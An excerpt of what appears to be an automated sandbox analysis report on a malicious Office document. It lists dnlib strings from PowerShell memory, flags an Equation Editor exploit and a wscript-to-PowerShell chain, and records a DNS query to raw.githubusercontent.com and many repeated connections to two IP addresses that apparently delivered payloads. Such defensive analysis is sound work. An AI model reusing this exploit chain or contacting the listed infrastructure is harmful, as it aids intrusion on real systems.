Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.380118041.0000000000859000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: .Automation.pdb source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Suspicious execution chain found
Source: C:\Windows\SysWOW64\wscript.exe Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: raw.githubusercontent.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
